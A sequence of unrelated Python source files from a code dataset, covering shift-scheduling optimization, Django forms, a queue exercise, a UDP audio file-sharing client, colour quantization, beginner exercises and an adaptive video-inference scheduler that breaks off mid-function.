xsum(task_x * get_operator_task_cost(operators[operator_id][1], tasks[task_id][1])\n for operator_id, operator in enumerate(x_mat)\n for task_id, task_x in operator.items()\n ) +\n 100 * xsum(s_variety[operator_id] / operator[\"pazam\"] for operator_id, operator in operators) +\n\n 10 * xsum(s_weekly_capacity[operator_id][week_id]\n for operator_id, operator in operators\n for week_id, days_in_week in enumerate(get_days_in_week_in_current_month())\n ) +\n 3 * xsum(s_working_days[operator_id][day.day - 1 - int(FIRST_DAY_OF_THE_MONTH_IS_SATURDAY)]\n for operator_id, operator in operators for day in get_days_in_current_month())\n )\n\n add_all_tasks_are_assigned_constrains(shifts_model, x_mat, operators, tasks)\n add_task_overlap_constrains(shifts_model, x_mat, s_parallel_tasks_groups, operators, tasks, compatible_groups,\n task_types)\n add_operator_capacity_constraint_not_weekend(shifts_model, x_mat, operators, tasks, MAX_CAPACITY_NOT_WEEKEND,\n MIN_CAPACITY_NOT_WEEKEND)\n add_operator_capacity_constraint_weekend(shifts_model, x_mat, operators, tasks, INCREASE_MAX_SOFASHIM)\n add_operator_min_per_month_constraint(shifts_model, x_mat, operators, tasks)\n add_weekly_capacity_constraint(shifts_model, x_mat, s_weekly_capacity, operators, tasks, MAX_WEEKLY_CAPACITY)\n add_variety_constraint(shifts_model, x_mat, s_variety, operators, tasks, task_types)\n add_operator_capacity_constraint_nights(shifts_model, x_mat, operators, tasks, MAX_NIGHT_CAPACITY)\n add_working_days_int(shifts_model, x_mat, s_working_days, operators, tasks)\n\n return shifts_model\n\n\ndef get_operator_task_cost(operator, task):\n if dont_want_task(operator, task):\n return (operator[\"pazam\"] ** 2) * (task[\"cost\"] + 100)\n elif want_task(operator, task):\n return -100 * (operator[\"pazam\"] ** 2) * task[\"cost\"]\n else:\n return (operator[\"pazam\"] ** 2) * task[\"cost\"]\n\n\ndef add_vars(shifts_model, operators, tasks):\n return [\n {task_id: shifts_model.add_var(f'x({operator_id},{task_id})', var_type=BINARY)\n for task_id, task in tasks\n if is_operator_capable(operator, task)}\n for operator_id, operator in operators\n ]\n\n\ndef add_variety_slack_vars(shifts_model, operators):\n return [\n shifts_model.add_var(f's_variety({operator_id})', var_type=CONTINUOUS, ub=4)\n for operator_id, operator in operators\n ]\n\n\ndef add_working_days_slack_vars(shifts_model, operators):\n return [\n [shifts_model.add_var(f's_working_days({operator_id},{day})', var_type=BINARY)\n for day in get_days_in_current_month()] for operator_id, operator in operators\n ]\n\n\ndef add_weekly_capacity_slack_vars(shifts_model, operators):\n return [\n [shifts_model.add_var(f'weekly capacity({operator_id},{week_id})', var_type=CONTINUOUS)\n for week_id, days_in_week in enumerate(get_days_in_week_in_current_month())]\n for operator_id, operator in operators\n ]\n\n\ndef add_parallel_tasks_group_slack_vars(shifts_model, operators, compatible_groups):\n return [\n [\n [\n shifts_model.add_var(f'parallel tasks group({day.day},{operator_id},{group_id})', var_type=BINARY)\n for group_id, group in compatible_groups\n ] for operator_id, operator in operators\n ] for day in get_days_in_current_month()\n ]\n\n\ndef add_all_tasks_are_assigned_constrains(model, x_mat, operators, tasks):\n for task_id, task in tasks:\n model += xsum(x_mat[operator_id][task_id] for operator_id, operator in operators\n if is_operator_capable(operator, task)) == 1, f'task({task_id})'\n\n\ndef add_task_overlap_constrains(model, x_mat, s_groups, operators, tasks, compatible_groups, task_types):\n for day_id, day in enumerate(get_days_in_current_month()):\n relevant_tasks = [(task_id, task) for task_id, task in tasks if task[\"start_time\"] <= day <= task[\"end_time\"]]\n\n for operator_id, operator in operators:\n operator_relevant_tasks = [(task_id, task) for (task_id, task) in relevant_tasks\n if is_operator_capable(operator, task)]\n\n # Make sure only one from each type is given to each operator in same day\n for _, taskType in task_types:\n model += xsum(x_mat[operator_id][task_id]\n for task_id, task in operator_relevant_tasks\n if (is_operator_capable(operator, task) and task[\"type\"] == taskType['type'])) <= 1 \\\n , f'max-of-task-type-({operator_id},{day.day},{taskType[\"type\"]})'\n\n model += xsum(s_groups[day_id][operator_id][group_id] for group_id, _ in compatible_groups) <= 1 \\\n , f'max group-({day.day},{operator_id})'\n\n for group_id, group in compatible_groups:\n in_group_xsum = xsum(x_mat[operator_id][task_id]\n for task_id, task in operator_relevant_tasks if is_task_in_group(task, group))\n\n model += in_group_xsum <= s_groups[day_id][operator_id][group_id] * group[\"max_per_day\"] \\\n , f'group max per day-({operator_id},{day.day},{group[\"name\"]}))'\n\n\ndef add_operator_capacity_constraint_not_weekend(model, x_mat, operators, tasks, max_config, min_config):\n for operator_id, operator in operators:\n model += xsum(\n task[\"cost\"] * x_mat[operator_id][task_id] for task_id, task in tasks if\n is_operator_capable(operator, task)\n ) <= max(operator[\"MAX\"] + max_config,\n get_minimal_capacity_of_operator(operator)), f'max capacity-({operator_id})'\n\n for operator_id, operator in operators:\n model += xsum(\n task[\"cost\"] * x_mat[operator_id][task_id] for task_id, task in tasks if\n is_operator_capable(operator, task)\n ) >= operator[\"MAX\"] - min_config, f'min capacity-({operator_id})'\n\n\ndef add_operator_capacity_constraint_weekend(model, x_mat, operators, tasks, INCREASE_MAX_SOFASHIM):\n for operator_id, operator in operators:\n model += xsum(\n task[\"cost\"] * x_mat[operator_id][task_id] for task_id, task in tasks if\n is_operator_capable(operator, task) and is_task_holiday(task)\n ) <= operator[\"MAX_Sofashim\"] * INCREASE_MAX_SOFASHIM, f'capacity-weekend-({operator_id})'\n\n\ndef add_operator_capacity_constraint_nights(model, x_mat, operators, tasks, max_config):\n for operator_id, operator in operators:\n model += xsum(\n task[\"cost\"] * x_mat[operator_id][task_id] for task_id, task in tasks if\n is_operator_capable(operator, task) and is_task_night(\n task) and not is_task_holiday(task)\n ) <= operator[\"MAX_nights\"] * max_config, f'capacity-nights-({operator_id})'\n\n\ndef add_operator_min_per_month_constraint(model, x_mat, operators, tasks):\n task_types = [task_type for task_type in get_task_types_df().iterrows()]\n\n for operator_id, operator in operators:\n for _, taskType in task_types:\n if is_operator_qualified(operator, taskType) and taskType[\"min_per_month\"] > 0:\n model += xsum(x_mat[operator_id][task_id] for task_id, task in tasks\n if (is_operator_capable(operator, task) and task[\"type\"] == taskType['type'])) \\\n >= taskType[\"min_per_month\"], f'keep form-({operator_id},{taskType[\"type\"]})'\n\n\ndef add_variety_constraint(model, x_mat, slack_variables, operators, tasks, task_types):\n for operator_id, operator in operators:\n relevant_tasks = [taskType for _, taskType in task_types if is_operator_qualified(operator, taskType)]\n\n target_number_of_tasks = (operator[\"MAX\"] - operator[\"MAX_Sofashim\"]) / np.mean(\n [task[\"cost\"] for task in relevant_tasks])\n task_freq_modifier = sum(task['freq'] for task in relevant_tasks)\n\n for taskType in relevant_tasks:\n target_number_of_tasks_per_type = target_number_of_tasks * taskType['freq'] / task_freq_modifier\n model += xsum(x_mat[operator_id][task_id] for task_id, task in tasks if\n (is_operator_capable(operator, task) and task[\"type\"] == taskType['type'])) \\\n >= target_number_of_tasks_per_type - 1 - slack_variables[\n operator_id], f'variety min-({operator_id},{taskType[\"type\"]})'\n\n model += xsum(x_mat[operator_id][task_id] for task_id, task in tasks if\n (is_operator_capable(operator, task) and task[\"type\"] == taskType['type'])) \\\n <= target_number_of_tasks_per_type + 1 + slack_variables[\n operator_id], f'variety max-({operator_id},{taskType[\"type\"]})'\n\n\ndef add_weekly_capacity_constraint(model, x_mat, slack_variables, operators, tasks, max_config):\n weeks = get_days_in_week_in_current_month()\n for week_id, days_in_week in enumerate(weeks):\n relevant_tasks = [(task_id, task) for task_id,\n task in tasks if is_task_in_week(week_id, task)]\n for operator_id, operator in operators:\n model += xsum(\n task[\"cost\"] * x_mat[operator_id][task_id] for task_id, task in relevant_tasks\n if is_operator_capable(operator, task)\n ) >= math.floor(operator[\"MAX\"] * max_config) - slack_variables[operator_id][\n week_id], f'weekly-capacity-({operator_id},{week_id}))'\n\n\ndef add_working_days_int(model, x_mat, slack_variables, operators, tasks):\n for day_id, day in enumerate(get_days_in_current_month()):\n relevant_tasks = [(task_id, task) for task_id,\n task in tasks if task[\"start_time\"] <= day <= task[\"end_time\"]]\n for operator_id, operator in operators:\n operator_relevant_tasks = [(task_id, task) for (task_id, task) in relevant_tasks\n if is_operator_capable(operator, task)]\n tasks_in_day = xsum(x_mat[operator_id][task_id]\n for task_id, task in operator_relevant_tasks)\n model += tasks_in_day <= 3 * slack_variables[operator_id][\n day_id], f'working-days-({operator_id},{day.day}))'\n","repo_name":"nitzanpalgi/Automated-shifts-assignment","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":11708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1959426262","text":"from django import forms\nfrom django.conf import settings\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import User\nfrom .models import Challenge, FinishChallenge\n\n\n\nBIRTH_YEAR_CHOICES = ('1980', '1981', '1982','1983', '1984', '1985', '1986', '1987', '1988', '1989','1990', '1991', '1992', '1993',)\n\n'''\nclass SimpleForm(forms.Form):\n birth_year = forms.DateField(widget=forms.SelectDateWidget(years=BIRTH_YEAR_CHOICES))\n favorite_colors = forms.MultipleChoiceField(\n required=False,\n widget=forms.CheckboxSelectMultiple,\n choices=FAVORITE_COLORS_CHOICES,\n )\n'''\n\n# LANGUAGE_CHOICES = ('')\n\n# class ReviewForm(forms.ModelForm):\n# review = forms.CharField(label=\"\", widget=CKEditorWidget(attrs={'class':'form-control', 'placeholder':'Start writing here...',}),\n# max_length=6000,\n# min_length=200,\n# required=True)\n# class Meta:\n# model = Review\n# fields = ('review',)\n\nclass ChallengeForm(forms.ModelForm):\n class Meta:\n model = Challenge\n fields = ('title',\n 'task',\n 'criteria',\n 'gender',\n 'start_time',\n 'end_time',\n 'challenge_image',)\n\n\nclass FinishChallengeForm(forms.ModelForm):\n class Meta:\n model = FinishChallenge\n fields = ('score', 'video')","repo_name":"sanjarbek16/demo-challenge","sub_path":"challenges/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71359225049","text":"def maxrnge(lst):\n if len(lst) >= 10:\n return False\n else:\n return True\n\ndef minrnge(lst):\n if len(lst) <= 0:\n return False\n else:\n return True\n\ndef ifexits(lst, a):\n if lst.count(a) < 1:\n return True\n else:\n return False\n\ndef show(lst):\n return', '.join(str(value) for value in lst)\n\n\n\nif __name__ == '__main__':\n\n lst = [\"106\", \"107\"]\n while True:\n print(\"\\n-------------------------\\n\")\n print(\"Tenepiшнiй стан черги: \\n\", show(lst))\n dia = input(\"Введіть дію (1 - додати замовлення в кінець черги, 2 - показати замовлення перше, 3 - завершити виконаня: \")\n if dia == \"1\":\n if maxrnge(lst):\n inf = input(\"Номер замовлення: \")\n if ifexits(lst, inf):\n lst.append(inf)\n else:\n print(\"\\nВже в черзі\\n\")\n else:\n print(\"\\nЧерга вже повна\\n\")\n elif dia == \"2\":\n if minrnge(lst):\n print(\"\\nЗараз: \", lst[0])\n else:\n print(\"\\nЧерга пуста\")\n elif dia == \"3\":\n if minrnge(lst):\n print(\"Delete: \", lst.pop(0))\n else:\n print(\"\\nQue is empty\\n\")\n","repo_name":"IhorMuliar/PT_lab3","sub_path":"orders.py","file_name":"orders.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21151414101","text":"import struct\nimport socket \nimport numpy\nimport pyaudio\nfrom pydub import AudioSegment\nimport random\nfrom NodeSocket import NodeSocket\nfrom _thread import *\nimport threading \n\ndef funcao_tocar_mp3():\n from pydub import AudioSegment\n import pyaudio\n\n p = pyaudio.PyAudio()\n\n #Open File to get infos from that\n song = AudioSegment.from_file(\"file.mp3\", format=\"mp3\")\n\n # open stream based on the wave object which has been input.\n stream = p.open(format=p.get_format_from_width(song.sample_width),\n channels=song.channels,\n rate=song.frame_rate,\n output=True)\n\n fileSize = len(song.raw_data)\n chunkSize = 320\n\n for piece in range(0, fileSize, chunkSize):\n stream.write(song.raw_data[piece:piece+chunkSize])\n\n # cleanup stuff.\n stream.stop_stream()\n stream.close()\n\n p.terminate()\n\n\nmax_data_legth = 1280\nclass SeederInfo():\n def __init__(self, ip, port):\n self.ip = ip\n self.port = port\n self.addr = (ip, port)\n self.list_of_musics = []\n\nclass Leecher():\n def __init__(self, args=None):\n self.port = 7001\n self.ip_broadcast = self.my_mask_for_broadcast()\n self.max_data_length = 1280\n self.list_seeders = []\n self.APP_KEY = 'APP_KEY'\n \n self.cli_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.cli_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.cli_socket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n self.setup_player()\n pass\n\n '''\n Busca a mascara numa rede classe C de acordo com o endereco de rede\n de rede classe C\n '''\n def my_mask_for_broadcast(self):\n my_ip = self.get_my_local_ip()\n my_ip = my_ip.split('.')\n my_ip[-1] = '255'\n my_ip = '.'.join(my_ip)\n return my_ip\n \n def get_my_local_ip(self):\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((\"8.8.8.8\", 80))\n\n data_addr = s.getsockname()\n print(\"IP local: \", data_addr[0])\n s.close()\n return data_addr[0]\n\n def broadcast(self):\n self.cli_socket.sendto(self.APP_KEY.encode(),\n (self.ip_broadcast, self.port))\n print('Broadcast enviado')\n msg, addr = self.cli_socket.recvfrom(self.max_data_length)\n s = SeederInfo(ip=addr[0], port=addr[1])\n self.list_seeders.append(s)\n return addr\n\n def setup_player(self):\n self.chunk = 1024\n # song = AudioSegment.from_mp3(\"never_gonna_give_you_up.mp3\", format)\n FORMAT = pyaudio.paInt16\n CHANNELS = 2\n RATE = 64000\n\n self.player = pyaudio.PyAudio()\n\n self.stream = self.player.open(format = FORMAT,\n channels = CHANNELS,\n rate = RATE,\n output = True)\n\n def finish(self):\n self.stream.stop_stream()\n self.stream.close()\n self.player.terminate()\n\n def play_audio(self, data):\n\n for i in range(0, len(data), self.chunk):\n print(i)\n self.stream.write(data[i:i+self.chunk])\n\n\n def run_client(self):\n msg = input(\"digite uma mensagem para enviar ao servidor: \")\n self.cli_socket.sendto(msg.encode(), self.list_seeders[0].addr) \n print ('mensagem enviada' )\n packet, addr = self.cli_socket.recvfrom(max_data_legth)\n print('Mensagem recebida: ', packet.decode())\n self.cli_socket.close()\n\n def request_file(self):\n self.cli_socket.sendto(\"cello.wav\".encode(), self.list_seeders[0].addr)\n print('Solicitacao enviada')\n msg, addr = self.cli_socket.recvfrom(self.max_data_length)\n \n num_of_packs, size, data_size = struct.unpack('fii', msg)\n print(num_of_packs, size, data_size)\n i = 0\n size_to_play = 510\n data = []\n\n while i < num_of_packs:\n msg, addr = self.cli_socket.recvfrom(data_size)\n data.append(msg)\n i=i+1\n if i%size_to_play == 0:\n sound = data[i-size_to_play:i]\n sound = b''.join(sound)\n self.play_audio(sound)\n\n data = b''.join(data)\n f = open(\"novo.wav\", \"w+b\")\n f.write(data)\n f.close()\n\n def modulo_losts(self):\n numpy.random.exponential()\n pass\n\n# leecher = Leecher()\n# ip, port = leecher.broadcast()\n# leecher.run_client()\n# leecher.request_file()\n# local host IP '127.0.0.1' \nhost = '127.0.0.1'\n\n# Define the port on which you want to connect \nport = 7001\naddr_send = (host,port)\n\nclient = Leecher()\n\n# message sent to server \nn_seq = -1\ninit_segm = 0\nfinal_segm = 0\nack = 0\nnack = 0\ncmd = b\"new\"\ndata = b'TEXTO'\npacket = struct.pack('siiiiis', \n cmd,\n n_seq, \n init_segm, \n final_segm, \n ack,\n nack,\n data )\nclient.cli_socket.sendto(packet, addr_send) \n\n\ndata, addr = client.cli_socket.recvfrom(client.max_data_length) \n# messaga received from server \n# print the received message \n# here it would be a reverse of sent message \nprint('Primeira conexao :', str(data.decode()))\nnum = random.randint(49152, 65534)\nn = NodeSocket(client,(\"\", num))\nstart_new_thread(n.thread_client, (data, addr)) \nrunning = True\nwhile running:\n ans = input(\"Ver rede: \")\n if ans == 'exit':\n running = False","repo_name":"elitonperin/trabalhoredes","sub_path":"leecher_old.py","file_name":"leecher_old.py","file_ext":"py","file_size_in_byte":5601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12514612352","text":"c=0\nwhile c<10:\n print(\" --- \")\n s = input(\"インチは?\")\n if s == \"\": break # 空行なら脱出\n inch = float(s)\n cm = inch * 2.54\n print(str(cm)+\"センチです\")\n c+=1\n\n","repo_name":"hoge1e3/jslesson","sub_path":"www/node/test/while-inch_to_cm-break.py","file_name":"while-inch_to_cm-break.py","file_ext":"py","file_size_in_byte":199,"program_lang":"python","lang":"ja","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"27228699756","text":"import argparse\nimport math\n\nimport numpy as np\nfrom skimage.io import imread, imsave\n\nparser = argparse.ArgumentParser(description='Perform Median Cut Color Quantization on image.')\nparser.add_argument('-c', '--colors', type=int,\n help='Number of colors needed in power of 2, ex: for 16 colors pass 4 because 2^4 = 16')\nparser.add_argument('-i', '--input', type=str, help='path of the image to be quantized')\nparser.add_argument('-o', '--output', type=str, help='output path for the quantized image')\n\n# get the arguments\nargs = parser.parse_args()\n\n# get the values from the arguments\ncolors = args.colors\nprint(\"reducing the image to {} color palette\".format(int(math.pow(2, colors))))\n\noutput_path = args.output\ninput_path = args.input\n\n# read the image\nsample_img = imread(input_path)\n\n\ndef median_cut_quantize(img, img_arr):\n # when it reaches the end, color quantize\n r_average = np.mean(img_arr[:, 0])\n g_average = np.mean(img_arr[:, 1])\n b_average = np.mean(img_arr[:, 2])\n\n for data in img_arr:\n sample_img[data[3]][data[4]] = [r_average, g_average, b_average]\n\n\ndef split_into_buckets(img, img_arr, depth):\n if len(img_arr) == 0:\n return\n\n if depth == 0:\n median_cut_quantize(img, img_arr)\n return\n\n r_range = np.max(img_arr[:, 0]) - np.min(img_arr[:, 0])\n g_range = np.max(img_arr[:, 1]) - np.min(img_arr[:, 1])\n b_range = np.max(img_arr[:, 2]) - np.min(img_arr[:, 2])\n\n space_with_highest_range = 0\n\n if g_range >= r_range and g_range >= b_range:\n space_with_highest_range = 1\n elif b_range >= r_range and b_range >= g_range:\n space_with_highest_range = 2\n elif r_range >= b_range and r_range >= g_range:\n space_with_highest_range = 0\n\n # sort the image pixels by color space with highest range\n # and find the median and divide the array.\n img_arr = img_arr[img_arr[:, space_with_highest_range].argsort()]\n median_index = int((len(img_arr) + 1) / 2)\n\n # split the array into two blocks\n split_into_buckets(img, img_arr[0:median_index], depth - 1)\n split_into_buckets(img, img_arr[median_index:], depth - 1)\n\n\nflattened_img_array = []\nfor rindex, rows in enumerate(sample_img):\n for cindex, color in enumerate(rows):\n flattened_img_array.append([color[0], color[1], color[2], rindex, cindex])\n\nflattened_img_array = np.array(flattened_img_array)\n\n# start the splitting process\nsplit_into_buckets(sample_img, flattened_img_array, colors)\n\n# save the final image\nimsave(output_path, sample_img)\n","repo_name":"muthuspark/median-cut-color-quantization","sub_path":"mcquantizer.py","file_name":"mcquantizer.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"31"} +{"seq_id":"9486140329","text":"from functools import reduce\nimport math\n\n# Question 1\n# Write a function to print \"hello_USERNAME!\" USERNAME is the input of the function. The first line of the code has been defined as below. \ndef hello_name(user_name):\n \"\"\"\n prints \"hello_USERNAME!\" USERNAME is the input of the function. \n allows acceptance of non-string input & warns when empty is supplied\n \"\"\"\n if user_name == '':\n print('Username is empty')\n else: \n print(f'hello_{str(user_name).upper()}!')\n\n\n# Question 2\n# Write a python function, first_odds that prints the odd numbers from 1-100 and returns nothing \ndef first_odds():\n \"\"\"prints the odd numbers from 1-100\"\"\"\n print(\", \".join([str(i) for i in range(1,100,2)]))\n \n\n\n# Question 3\n# Please write a Python function, max_num_in_list to return the max number of a given list. The first line of the code has been defined as below. \ndef max_num_in_list(a_list): \n \"\"\"return the max number of a given list; checks for non-list/tuple input\"\"\"\n if isinstance(a_list, list):\n # return only member if list only has 1\n if len(a_list) == 1:\n return a_list[0]\n \n return reduce(lambda a,b: a if a > b else b, a_list)\n \n else: \n print('That was not a list')\n return\n \n\n\n# Question 4\n# Write a function to return if the given year is a leap year. A leap year is divisible by 4, but not divisible by 100 unless it is also divisible by 400. The return should be boolean Type (true/false). \ndef is_leap_year(a_year):\n \"\"\"returns True if the given year is a leap year else False\"\"\"\n if a_year % 400 == 0:\n return True\n elif a_year % 100 == 0:\n return False\n elif a_year % 4 == 0:\n return True\n else:\n return False\n\n\n#Question 5\n#Write a function to check to see if all numbers in the list are consecutive numbers. For example, [2,3,4,5,6,7] are consecutive numbers, but [1,2,4,5] are not consecutive numbers. The return should be boolean Type. \ndef is_consecutive(a_list):\n \"\"\"\n Returns True if all numbers in the list are consecutive numbers, else False\n -- Consecutive: Numbers that follow each other in a regular counting order, where \"regular counting order\" means the difference between each successive number is the same\n -- checks for non-list/tuple & non-int/float input, violation Returns False\n -- Checks for too short lists\n \"\"\"\n if not isinstance(a_list, (list, tuple)):\n print('That was not a list')\n return False\n \n # Definition of consecutive assumption: Numbers that follow each other in a regular counting order, where \"regular counting order\" means the difference between each successive number is the same\n if len(a_list) < 3: \n print('List too short: pattern cannot be established')\n return\n # check for 'funny' types\n for x in a_list:\n if not isinstance(x, (int,float)):\n print(\"Those weren't all numbers!\")\n return False\n initial_increment = a_list[0] - a_list[1]\n for i in range(1, len(a_list) - 1):\n this_increment = a_list[i] - a_list[i+1]\n if not math.isclose(this_increment, initial_increment):\n return False\n return True","repo_name":"Sven-Moon/CT-Prework","sub_path":"prework.py","file_name":"prework.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14767872112","text":"import random\nimport os\nimport numpy\nimport json\nimport csv\n\nDEBUG=False\ndef debug_print(*args):\n if DEBUG:\n print(*args)\nclass Scheduler():\n def __init__(self):\n self.frame_interval = 10\n self.frame_slot = 10\n self.previous_slot_info = {}\n self.model = \"\"\n self.interval_info = {\n \"frame_slot\": self.frame_slot,\n \"frame_interval\": self.frame_interval,\n \"model\": \"yolov5n\",\n \"interval_cost\": 0\n }\n \n def algorithm(self, *args, **kwargs):\n pass\n \n def renew(self, *args, **kwargs):\n pass\n\n def get_next_frame_interval(self):\n pass\n def load_video_profile(self, path):\n pass\n\n def get_next_frame_interval_model_name(self):\n pass\n\n def get_time_interval_info(self, accuracy=0.5):\n self.algorithm(accuracy)\n return self.interval_info\n\nclass BaselineScheduler(Scheduler):\n def __init__(self):\n super().__init__()\n with open(\"./configs/baseline_scheduler.json\") as cfg:\n scheduler_cfg = json.load(cfg)\n self.frame_interval = scheduler_cfg[\"frame_interval\"]\n self.frame_slot = scheduler_cfg[\"frame_slot\"]\n self.model = scheduler_cfg[\"model\"]\n self.model_cost = scheduler_cfg[\"model_cost\"]\n self.interval_info[\"frame_slot\"] = self.frame_slot\n self.interval_info[\"frame_interval\"] = self.frame_interval\n self.interval_info[\"model\"] = self.model\n self.interval_info[\"interval_cost\"] = self.model_cost[self.model]\n # TODO add profile to baseline\n\n def get_time_interval_info(self, *args):\n return self.interval_info\n\n def change_internal_state(self, model, frame_interval):\n self.model = model\n self.frame_interval = frame_interval\n self.interval_info[\"frame_slot\"] = self.frame_slot\n self.interval_info[\"frame_interval\"] = self.frame_interval\n self.interval_info[\"model\"] = self.model\n self.interval_info[\"interval_cost\"] = self.model_cost[self.model]\n\nclass AdaptiveScheduler(Scheduler):\n def __init__(self, debug_func=debug_print):\n super().__init__()\n with open(\"./configs/adaptive_scheduler.json\") as cfg:\n scheduler_cfg = json.load(cfg)\n self.frame_slot = scheduler_cfg[\"frame_slot\"]\n self.max_iteration = scheduler_cfg.get(\"max_iteration\", 500)\n self.change_threshold = scheduler_cfg.get(\"change_threshold\", 100)\n self.max_no_change_iteration = scheduler_cfg.get(\"max_no_change_iteration\", 20)\n self.r = scheduler_cfg.get(\"r\", 10)\n self.model_list = scheduler_cfg[\"model_list\"]\n self.interval_info[\"frame_slot\"] = self.frame_slot\n self.model_memory = scheduler_cfg[\"model_memory\"]\n self.model_cost = scheduler_cfg[\"model_cost\"]\n self.debug_func = debug_func\n self.get_frame_rate = self._get_frame_rate\n self.frame_rate_store = {}\n\n # @debug_func.setter\n # def debug_func(self, func):\n # self.debug_func = func\n # @property\n # def r(self):\n # return self.r\n # @r.setter\n # def r(self, new_r):\n # self.r = new_r\n def load_video_profile(self, path):\n with open(f\"{path}/profile/profile.json\", 'r') as cfg:\n profile = json.load(cfg)\n memory_profile = profile.get(\"model_memory\", None)\n model_cost = profile.get(\"model_cost\", None)\n if memory_profile is not None:\n self.model_memory = memory_profile\n if model_cost is not None:\n self.model_cost = model_cost\n self.model_accuracy_to_frame_rate = profile[\"model_accuracy_to_frame_rate\"]\n individual_profile = f\"{path}/profile/scheduler.json\"\n if os.path.exists(individual_profile):\n with open(f\"{path}/profile/scheduler.json\") as s_cfg:\n scheduler_cfg = json.load(s_cfg)\n self.frame_slot = scheduler_cfg[\"frame_slot\"]\n self.max_iteration = scheduler_cfg.get(\"max_iteration\", 500)\n self.change_threshold = scheduler_cfg.get(\"change_threshold\", 100)\n self.max_no_change_iteration = scheduler_cfg.get(\"max_no_change_iteration\", 20)\n self.r = scheduler_cfg.get(\"r\", 10)\n self.model_list = scheduler_cfg[\"model_list\"]\n self.interval_info[\"frame_slot\"] = self.frame_slot\n else:\n tmp = {}\n tmp[\"frame_slot\"] = self.frame_slot\n tmp[\"max_iteration\"] = self.max_iteration\n tmp[\"change_threshold\"] = self.change_threshold\n tmp[\"max_no_change_iteration\"] = self.max_no_change_iteration\n tmp[\"model_list\"] = self.model_list\n tmp[\"r\"] = self.r\n tmp[\"model_list\"] = self.model_list\n tmp[\"model_memory\"] = self.model_memory\n tmp[\"model_cost\"] = self.model_cost\n with open(f\"{path}/profile/scheduler.json\", 'w') as s_cfg:\n json.dump(tmp, s_cfg)\n\n \n self.current_frame_slot = None\n self.current_frame_slot_profile = None\n\n\n\n def _change_state(self, accuracy, feasible_model_list, model=\"\"):\n if model == \"\":\n current_model = self._get_model(feasible_model_list)\n else:\n current_model = model\n current_memory = self._get_memory(current_model)\n current_frame_rate = self.get_frame_rate(current_model, current_memory, accuracy)\n current_cost = self._get_cost(current_model, current_memory, current_frame_rate)\n return current_model, current_memory, current_frame_rate, current_cost\n\n\n def algorithm(self, accuracy=0.8, debug_print=debug_print, *args, **kwargs):\n feasible_model_list = self._get_feasible_models(accuracy)\n i = 0\n no_change_iteration_count = 0\n current_model, current_memory, current_frame_rate, current_cost = self._change_state(accuracy, feasible_model_list)\n debug_print(current_model, current_memory, current_frame_rate, current_cost)\n single_cost = self.model_cost[current_model]\n model = self._get_model(feasible_model_list)\n while(i < self.max_iteration and no_change_iteration_count < self.max_no_change_iteration):\n model, memory, frame_rate, cost = self._change_state(accuracy, feasible_model_list, model)\n possibility = 1 / (1 + numpy.exp((cost - current_cost) / self.r))\n if random.random() < possibility:\n current_model = model\n current_memory = memory\n current_frame_rate = frame_rate\n current_cost = cost\n single_cost = self.model_cost[model]\n else:\n model = self._get_model(feasible_model_list)\n debug_print(current_model, current_memory, current_frame_rate, current_cost, possibility)\n if (numpy.abs(current_cost - cost) < self.change_threshold):\n no_change_iteration_count += 1\n else:\n no_change_iteration_count = 0\n i += 1\n return current_model, current_memory, current_frame_rate, single_cost\n\n def _get_model(self, model_list) -> str:\n seed = random.random()\n return model_list[int(seed * len(model_list))]\n\n def _get_memory(self, model:str):\n memory = self.model_memory.get(model, None)\n assert memory != None\n return memory\n \n def _get_feasible_models(self, accuracy):\n assert self.current_frame_slot_profile != None\n ret = []\n for model in self.model_list:\n accuracy_list = self.current_frame_slot_profile[model][\"accuracy\"]\n if accuracy > max(accuracy_list):\n continue\n ret.append(model)\n return ret\n\n \n\n def _get_frame_rate(self, model, memory, accuracy):\n assert self.current_frame_slot_profile != None\n accuracy_list = self.current_frame_slot_profile[model][\"accuracy\"]\n frame_rate_list = self.current_frame_slot_profile[model][\"frame_rate\"]\n assert len(accuracy_list) == len(frame_rate_list)\n # because of _get_feasible_model, there must exists one value greater than accuracy\n index = -1\n current_diff = 1\n for i in range(len(accuracy_list)):\n diff = accuracy_list[i] - accuracy\n if diff >= 0 and diff < current_diff:\n index = i\n current_diff = diff\n return frame_rate_list[index]\n \n def _get_frame_rate_test(self, model, memory, accuracy):\n assert self.current_frame_slot_profile != None\n accuracy_list = self.current_frame_slot_profile[model][\"accuracy\"]\n frame_rate_list = self.current_frame_slot_profile[model][\"frame_rate\"]\n assert len(accuracy_list) == len(frame_rate_list)\n if self.frame_rate_store.get(model, None) == None:\n self.frame_rate_store[model] = []\n # because of _get_feasible_model, there must exists one value greater than accuracy\n index = -1\n for i in range(len(accuracy_list)):\n diff = accuracy_list[i] - accuracy\n if diff >= 0:\n self.frame_rate_store[model].append(i)\n model_len = len(self.frame_rate_store[model])\n seed = random.random()\n return frame_rate_list[int(seed * model_len)]\n \n return frame_rate_list[index]\n \n\n def _get_cost(self, model, memory, frame_rate):\n times = self.frame_slot // frame_rate\n if not self.frame_slot % frame_rate:\n times += 1\n return self.model_cost[model] * times\n\n def get_time_interval_info(self, accuracy=0.5, frame_idx=1):\n frame_slot = (frame_idx - 1) // self.frame_slot\n if frame_slot != self.current_frame_slot:\n self.current_frame_slot_profile = self.model_accuracy_to_frame_rate[str(frame_slot)]\n current_model, _, current_frame_rate, current_cost = 